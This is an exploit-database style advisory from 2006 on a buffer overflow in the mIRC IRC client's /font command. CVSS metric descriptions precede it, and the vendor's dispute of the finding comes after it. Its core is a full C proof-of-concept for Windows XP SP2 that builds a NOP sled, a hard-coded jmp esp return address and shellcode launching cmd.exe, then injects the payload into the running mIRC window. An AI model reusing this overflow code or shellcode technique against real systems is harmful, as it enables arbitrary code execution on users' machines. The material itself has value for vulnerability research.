The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
- 1 - Introduction
Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that is
well equipped with options and tools.
- 2 - Vulnerability description
This bug was discovered by a friend (Racy) , with the command exposed
by Racy only hung mIRC, but after debugging and
testing, I discover that allow code execution.
Racy use this command /font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa)
$readini(c:\a\a.ini,aaaaaaa ,aaaa) , in both cases return
null and crash, if the first parameter it's null and the second a long
string can overwrite the EIP and execute code, with
user privileges, DON'T ELEVATE PRIVILEGES.
- 3 - How to exploit it
This PoC open a cmd.exe,also it's possible execute any other code.
----------- CUT HERE ----------------------
/*
mircfontexploitXPSP2.c
This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=
"\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\xc7\x93\xc2\x77"
"\xFF\xD3";
//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)
char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll)
SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit
", 0);
if (!lHandle) { printf("Can't find mIRC\n"); return 0; }
strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf("mIRC Font Command Exploit: %s\n", command);
SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}
----------- CUT HERE ----------------------
- 4 - Solution
Khaled contacted with me about the latest advisory, he says don't have
any bug, any vulnerability.
This is the solution of Khaled:
"as far as I can tell, this is neither an exploit nor a vulnerability.
The above report describes a local bug in mIRC. The
author of the report indicates that any malicious software on your
computer can modify your mIRC settings to cause mIRC to
crash. But if you have malicious software on your computer, you've
already compromised your security..."
I post a response in the messageboard in mIRC forum, telling that a
exploit isn't a malicious software alone, isn't a trojan
or virus, and if a application it's secure, it's impossibly to execute
any code, the user don't compromise the machine if
download a exploit, the machine it's compromised if the program it's
vulnerable to the exploit, but Khaled delete it and
close the thread.
More info: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129
- 5 - Credits
URL Vendor: www.mirc.com
Author: Jordi Corrales ( crowdat[at]gmail.com )
Date: 24/01/2006
Racy post on messageboard:
http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Board=bugreports&Number=118751
Spanish Advisory and Compiled Spanish Exploit:
http://cyruxnet.org/archivo.php?20060121.00
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum